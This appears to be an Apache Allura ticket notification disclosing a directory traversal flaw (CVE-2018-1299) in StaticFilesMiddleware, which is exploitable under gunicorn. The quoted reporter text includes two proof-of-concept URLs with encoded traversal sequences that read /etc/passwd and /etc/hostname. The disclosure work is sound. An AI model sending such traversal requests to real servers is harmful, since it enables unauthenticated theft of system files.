[allura:tickets] #8180 StaticFilesMiddleware allows directory traversal

[Dave Brondsema <da...@brondsema.net>]

- **private**: Yes --> No



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** [tickets:#8180] StaticFilesMiddleware allows directory traversal**

**Status:** closed
**Milestone:** v1.8.0
**Labels:** security 
**Created:** Mon Jan 29, 2018 06:28 PM UTC by Dave Brondsema
**Last Updated:** Mon Feb 05, 2018 04:59 PM UTC
**Owner:** Dave Brondsema


>From reporter:

> The vulnerability allows unauthenticated attackers to retrieve
> arbitrary files from the Allura web server.
> 
> PoC URsL:
> http://<allura-web-server>/nf/1276635823/_static_/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
> http://<allura-web-server>/nf/1276635823/_static_/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fhostname

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The %2F does't seem necessary in my testing.  The paster, nginx and apache/mod_wsgi servers seem to protect against this, but gunicorn (which we recommend for production) permits the vulnerability.

This has been assigned CVE-2018-1299



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